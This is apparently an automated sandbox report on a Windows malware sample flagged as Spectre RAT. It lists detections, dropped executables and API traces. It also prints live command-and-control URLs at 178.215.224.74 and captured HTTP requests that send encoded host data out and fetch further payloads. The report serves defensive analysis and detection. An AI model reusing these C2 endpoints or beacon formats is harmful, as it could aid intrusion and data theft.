Source: http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=e3ad1d0b2449c169e66efe472513a377*6&jwvs=9A5605DE11447A0E2031624EE8FBDE	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?gi	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dllr	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=8	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=7	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=5	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1%	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=5W5	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3Db	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.8	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.u	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=31	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D	Avira URL Cloud: Label: malware
Source: http://178.215.224.252/v10/ukyh	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl	Avira URL Cloud: Label: malware
Source: http://178.215.224.252/v10/ukyh.php?jspo=6	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?gi.224.74ur32.dll	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?uvyw=6	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=33&jwvs=9A5605DE11447A0E2031624EE8FBDE	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=2016&jwvs=9A5605DE11447A0E2031624EE8FBDE&bsxa=1	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe

ReversingLabs: Detection: 58%

Multi AV Scanner detection for submitted file

Source: vqMMwqCFZQ.exe

ReversingLabs: Detection: 66%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe

Joe Sandbox ML: detected

Source: vqMMwqCFZQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: vqMMwqCFZQ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C.pdb source: azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp, nircmdc.exe.50.dr

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0041C29C FindFirstFileA,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	50_2_0041C29C
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_004107A0 FindFirstFileA,	50_2_004107A0
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_004062D5 FindFirstFileW,FindClose,	86_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_00402E18 FindFirstFileW,	86_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	86_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\139918\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\139918	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853767 - Severity 1 - ETPRO MALWARE Win32/Spectre RAT CnC Activity M1 : 192.168.2.4:49874 -> 178.215.224.74:80
Source: Network traffic	Suricata IDS: 2853768 - Severity 1 - ETPRO MALWARE Win32/SpectreRAT CnC Activity M2 : 192.168.2.4:49874 -> 178.215.224.74:80

Source: Joe Sandbox View

ASN Name: LVLT-10753US LVLT-10753US

Source: unknown	DNS traffic detected: query: GyxNFpxuLvDE.GyxNFpxuLvDE replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mCpLognXwrhUlFWj.mCpLognXwrhUlFWj replaycode: Name error (3)

Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 625Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 6a 45 38 4b 45 45 79 58 46 64 78 5a 33 42 78 58 6d 70 74 5a 6d 31 78 58 6b 46 79 63 45 52 68 64 47 46 63 55 47 64 6a 62 57 6c 75 5a 56 35 45 62 32 35 77 61 47 6c 73 52 48 31 74 63 6e 46 63 4d 6a 73 79 4d 6a 4a 48 4d 6a 49 76 4d 6b 4d 77 4d 43 38 38 4e 7a 45 7a 4a 54 51 78 53 6a 6c 5a 51 6c 38 7a 4d 6a 49 71 4d 7a 67 34 4f 7a 45 71 64 57 6c 75 5a 47 39 33 63 79 4a 73 5a 32 5a 6c 62 6d 5a 6e 63 6c 74 43 58 54 45 77 4d 69 6f 35 4d 44 49 7a 4d 43 6f 7a 4e 7a 6f 73 4d 44 45 33 4c 44 41 79 4e 43 34 77 50 54 42 62 51 46 55 7a 4d 6a 67 71 4d 7a 49 79 4d 7a 41 6f 4d 54 55 77 4a 6a 41 7a 4e 53 77 79 4d 6a 51 75 4e 7a 52 5a 53 46 38 78 4d 44 41 6f 4d 7a 41 77 4d 7a 45 71 4d 54 55 34 4a 6a 49 7a 4e 79 34 79 4d 44 51 73 4e 54 5a 62 51 6c 38 77 4b 6a 49 77 4e 79 4a 42 4f 6c 78 64 63 57 64 36 63 31 35 6f 62 57 78 6e 63 56 78 44 65 48 68 47 59 33 52 6a 58 46 4a 76 59 57 31 70 62 47 39 65 52 47 39 73 63 6d 70 70 62 6b 5a 31 62 58 42 78 58 47 6c 36 64 48 55 75 5a 58 70 6c 57 55 4a 66 4d 54 49 79 4b 44 45 77 4d 44 4d 35 4b 44 45 33 4d 43 77 77 4f 54 55 73 4d 44 41 32 4c 44 55 30 57 55 68 56 4d 43 67 79 4d 6a 55 71 51 7a 70 63 56 58 46 74 63 48 4e 63 61 6d 31 73 5a 58 4e 65 51 58 42 77 52 6d 46 38 59 56 35 51 62 32 46 76 61 57 78 6c 58 6b 52 74 62 6e 4a 6f 61 57 35 47 66 57 39 77 63 31 52 36 61 6e 39 78 4c 48 68 72 63 6c 6c 43 58 54 4d 34 4f 43 67 7a 4d 44 4d 79 4d 79 70 44 4f 6c 78 58 65 32 64 79 63 31 78 6f 62 57 35 6c 63 56 78 42 63 48 4a 45 61 58 52 6a 58 6c 4a 76 59 32 31 72 62 47 56 63 52 6d 31 75 63 47 68 70 62 45 78 33 62 58 42 37 58 6e 70 67 64 33 4d 73 65 47 74 79 57 55 42 66 4f 54 67 79 4b 44 45 79 4d 44 45 78 4b 6a 45 33 4f 69 59 77 4d 54 55 75 4d 44 41 30 4c 6a 55 30 57 30 42 66 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKDkyMjE8KEEyXFdxZ3BxXmptZm1xXkFycERhdGFcUGdjbWluZV5Eb25waGlsRH1tcnFcMjsyMjJHMjIvMkMwMC88NzEzJTQxSjlZQl8zMjIqMzg4OzEqdWluZG93cyJsZ2ZlbmZncltCXTEwMio5MDIzMCozNzosMDE3LDAyNC4wPTBbQFUzMjgqMzIyMzAoMTUwJjAzNSwyMjQuNzRZSF8xMDAoMzAwMzEqMTU4JjIzNy4yMDQsNTZbQl8wKjIwNyJBOlxdcWd6c15obWxncVxDeHhGY3RjXFJvYW1pbG9eRG9scmppbkZ1bXBxXGl6dHUuZXplWUJfMTIyKDEwMDM5KDE3MCwwOTUsMDA2LDU0WUhVMCgyMjUqQzpcVXFtcHNcam1sZXNeQXBwRmF8YV5Qb2FvaWxlXkRtbnJoaW5GfW9wc1R6an9xLHhrcllCXTM4OCgzMDMyMypDOlxXe2dyc1xobW5lcVxBcHJEaXRjXlJvY21rbGVcRm1ucGhpbEx3bXB7Xnpgd3MseGtyWUBfOTgyKDEyMDExKjE3OiYwMTUuMDA0LjU0W0Bf
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 237Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 34 33 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 74 4d 44 35 5a 51 46 31 4c 52 6c 6c 49 58 54 6f 73 4e 6a 51 73 4d 7a 49 78 4a 6a 38 33 57 55 42 66 4d 54 41 75 4d 44 45 33 4d 6a 67 79 57 30 42 64 51 54 68 63 56 58 46 6c 63 6e 4e 65 61 6d 64 75 5a 33 46 63 51 58 4a 77 52 6d 4e 32 59 56 35 4f 62 57 4e 68 62 46 35 63 5a 32 31 77 56 44 4d 78 4d 54 6b 7a 4f 6c 35 58 63 43 78 77 61 32 35 54 51 6c 39 44 4f 46 78 56 63 32 56 79 63 31 35 69 62 57 35 6c 63 31 35 44 63 48 42 47 59 58 52 68 58 6b 78 6e 59 32 4e 75 58 46 52 6e 62 58 4a 65 4d 7a 4d 37 4f 7a 4d 34 58 46 56 77 4a 6e 4a 70 5a 67 25 33 44 25 33 44 Data Ascii: jspo=43&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAtMD5ZQF1LRllIXTosNjQsMzIxJj83WUBfMTAuMDE3MjgyW0BdQThcVXFlcnNeamduZ3FcQXJwRmN2YV5ObWNhbF5cZ21wVDMxMTkzOl5XcCxwa25TQl9DOFxVc2Vyc15ibW5lc15DcHBGYXRhXkxnY2NuXFRnbXJeMzM7OzM4XFVwJnJpZg%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 527Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 30 6f 57 30 42 56 4d 7a 49 34 4b 6a 4d 79 4d 6a 4d 7a 4b 44 45 31 4d 43 59 77 4d 7a 55 73 4d 6a 49 30 4c 6a 63 30 57 55 68 66 4d 54 41 7a 4b 44 4d 77 4d 6a 49 31 4b 6c 4a 6e 64 6d 31 75 64 32 64 45 5a 58 52 70 59 57 64 78 4c 6d 64 36 5a 31 74 41 58 54 4d 34 4d 69 6f 78 4f 44 49 7a 4f 53 6f 7a 4e 54 6f 73 4d 44 4d 31 4c 44 6f 36 4e 69 77 33 4e 6c 74 41 58 54 49 71 4d 6a 49 39 4b 45 4d 36 58 46 64 78 5a 58 4a 78 58 47 70 76 62 47 56 37 58 45 4e 79 63 45 52 6a 64 47 4e 65 54 6d 39 68 59 32 35 63 64 47 56 76 65 46 35 53 5a 58 35 6e 62 48 31 6c 52 6d 64 30 61 32 46 6e 63 79 78 74 63 47 64 5a 51 46 38 34 4b 6a 45 77 4d 79 70 42 4d 6c 35 56 63 32 56 77 63 56 78 71 62 57 35 6c 63 31 35 42 65 48 42 47 59 33 52 68 58 6b 78 74 59 57 4e 73 58 6e 5a 6e 62 58 42 63 55 47 31 30 5a 57 35 39 5a 30 5a 74 64 6d 74 68 5a 33 45 73 5a 33 68 6e 55 30 68 66 4d 7a 41 79 4b 6a 59 71 57 30 42 64 4d 7a 67 79 4b 6a 45 77 4d 6a 4d 78 4b 6a 4d 33 4f 43 34 77 4d 54 30 75 4d 44 41 30 4c 6a 55 30 57 55 4a 66 4d 54 49 79 4b 44 45 77 4d 44 4d 37 4b 44 45 31 55 30 4a 66 4f 54 41 79 4b 44 4d 79 4d 6a 4d 78 4b 44 6b 25 32 46 4f 69 77 79 4d 7a 55 75 4d 6a 49 30 4c 6a 55 38 57 55 42 64 4d 54 49 78 4b 6a 45 79 4d 6a 41 79 4b 46 4a 74 64 6d 64 73 64 57 56 47 5a 58 52 72 59 57 56 78 4c 47 64 34 5a 56 74 43 56 54 4d 77 4d 43 49 7a 4d 6a 67 78 4d 79 67 7a 4e 54 6f 73 4d 6a 4d 39 4a 6a 41 77 4e 43 77 33 4e 46 74 41 58 51 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKD0oW0BVMzI4KjMyMjMzKDE1MCYwMzUsMjI0Ljc0WUhfMTAzKDMwMjI1KlJndm1ud2dEZXRpYWdxLmd6Z1tAXTM4MioxODIzOSozNTosMDM1LDo6Niw3NltAXTIqMjI9KEM6XFdxZXJxXGpvbGV7XENycERjdGNeTm9hY25cdGVveF5SZX5nbH1lRmd0a2FncyxtcGdZQF84KjEwMypBMl5Vc2VwcVxqbW5lc15BeHBGY3RhXkxtYWNsXnZnbXBcUG10ZW59Z0ZtdmthZ3EsZ3hnU0hfMzAyKjYqW0BdMzgyKjEwMjMxKjM3OC4wMT0uMDA0LjU0WUJfMTIyKDEwMDM7KDE1U0JfOTAyKDMyMjMxKDk%2FOiwyMzUuMjI0LjU8WUBdMTIxKjEyMjAyKFJtdmdsdWVGZXRrYWVxLGd4ZVtCVTMwMCIzMjgxMygzNTosMjM9JjAwNCw3NFtAXQ%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 416Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 39 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 61 6d 39 75 5a 33 74 5a 51 46 31 48 55 53 4a 47 59 57 39 6e 4f 43 49 69 49 69 41 69 4b 43 67 69 49 69 41 69 49 43 41 67 49 43 41 67 49 69 68 50 61 57 4e 79 62 58 46 76 5a 6e 59 67 56 32 6c 73 5a 47 64 33 63 53 49 78 4d 43 4a 51 63 47 31 5a 51 46 38 7a 4d 69 34 77 4d 54 55 34 4d 6a 42 62 53 46 38 79 4f 54 6b 30 4d 54 64 5a 51 6c 39 44 4f 46 52 64 63 57 64 79 63 56 78 71 62 32 35 6c 63 31 35 4a 63 6e 42 45 59 58 5a 6a 58 45 78 74 59 32 46 73 58 6c 52 74 62 58 4a 65 4d 54 4d 37 4f 54 4d 36 58 6c 56 77 4c 48 4a 70 5a 6c 74 43 56 55 45 36 58 46 31 78 5a 33 70 7a 58 6d 68 74 62 47 64 78 58 45 4e 34 65 45 5a 6a 64 47 4e 63 54 47 39 6a 59 57 78 65 58 47 64 74 63 46 77 7a 4d 54 6b 35 4d 7a 68 63 56 58 41 75 65 47 6c 6b 57 55 42 64 4d 7a 41 76 4d 44 52 62 51 6c 39 42 52 46 74 41 58 33 78 77 64 57 56 54 51 6c 39 75 59 57 35 78 5a 31 6c 43 58 7a 67 73 50 44 34 73 4d 7a 49 78 4c 6a 63 31 57 30 42 64 57 55 68 66 51 7a 70 63 56 33 46 6c 63 6e 46 63 61 6d 39 73 5a 58 74 63 51 33 4a 77 52 47 4e 30 59 31 35 51 62 32 4e 76 61 32 35 6e 58 45 5a 6e 62 6e 42 6f 59 57 78 47 66 57 31 79 63 51 25 33 44 25 33 44 Data Ascii: jspo=9&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=am9uZ3tZQF1HUSJGYW9nOCIiIiAiKCgiIiAiICAgICAgIihPaWNybXFvZnYgV2lsZGd3cSIxMCJQcG1ZQF8zMi4wMTU4MjBbSF8yOTk0MTdZQl9DOFRdcWdycVxqb25lc15JcnBEYXZjXExtY2FsXlRtbXJeMTM7OTM6XlVwLHJpZltCVUE6XF1xZ3pzXmhtbGdxXEN4eEZjdGNcTG9jYWxeXGdtcFwzMTk5MzhcVXAueGlkWUBdMzAvMDRbQl9BRFtAX3xwdWVTQl9uYW5xZ1lCXzgsPD4sMzIxLjc1W0BdWUhfQzpcV3FlcnFcam9sZXtcQ3JwRGN0Y15Qb2Nva25nXEZnbnBoYWxGfW1ycQ%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 335Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 44 45 34 4b 44 4d 25 32 46 4f 43 77 77 4d 7a 63 73 4d 44 49 32 4a 6a 6f 33 4d 46 74 43 58 54 45 77 4d 43 6f 78 4d 6a 67 7a 4d 69 6f 78 4e 54 6f 75 4d 6a 4d 31 4c 6a 49 77 4e 43 59 33 4e 6c 6c 41 58 54 4d 77 4d 69 67 7a 4d 44 49 7a 4d 79 6f 78 4e 7a 6f 6d 4d 44 45 31 4a 6a 41 77 50 43 34 31 4e 6c 6c 43 58 7a 41 71 4d 44 67 39 4b 45 45 36 58 6c 56 7a 5a 58 4a 7a 58 47 68 6e 62 47 56 7a 58 45 4e 79 63 45 52 6a 64 47 46 63 55 47 39 70 62 57 74 73 5a 31 78 47 62 32 35 79 61 6d 6c 73 52 6e 64 74 63 48 4e 65 65 58 74 31 63 43 5a 34 61 33 68 62 51 6c 38 7a 4d 6a 49 6f 4d 54 49 35 4f 6a 45 6f 51 7a 68 63 56 58 4e 6c 63 6e 4e 65 59 6d 31 75 5a 58 4e 65 51 33 42 77 52 6d 46 30 59 56 35 53 5a 32 46 76 61 32 35 6e 58 6b 52 74 62 6e 4a 6f 61 32 78 47 64 57 31 77 63 56 52 7a 65 58 56 34 4c 48 68 68 63 46 6c 43 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKDkyMDE4KDM%2FOCwwMzcsMDI2Jjo3MFtCXTEwMCoxMjgzMioxNTouMjM1LjIwNCY3NllAXTMwMigzMDIzMyoxNzomMDE1JjAwPC41NllCXzAqMDg9KEE6XlVzZXJzXGhnbGVzXENycERjdGFcUG9pbWtsZ1xGb25yamlsRndtcHNeeXt1cCZ4a3hbQl8zMjIoMTI5OjEoQzhcVXNlcnNeYm1uZXNeQ3BwRmF0YV5SZ2Fva25nXkRtbnJoa2xGdW1wcVRzeXV4LHhhcFlCXw%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 8387Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 2463Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 1699Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 133Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 6b 7a 4d 43 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6f 62 57 35 6e 65 31 52 44 63 6e 42 47 59 58 52 68 58 46 4a 76 59 32 56 72 62 6d 64 63 54 32 31 36 61 57 35 73 59 56 78 45 61 58 70 6c 5a 47 31 34 58 46 6c 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTI3KDkzMCpLOF5dc2dwcV5obW5ne1RDcnBGYXRhXFJvY2VrbmdcT216aW5sYVxEaXplZG14XFlAXw%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php?uvyw=6 HTTP/1.1Content-Type: multipart/form-data; boundary=----974767299852498929531610575User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 29747Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74

Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.252User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=5 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
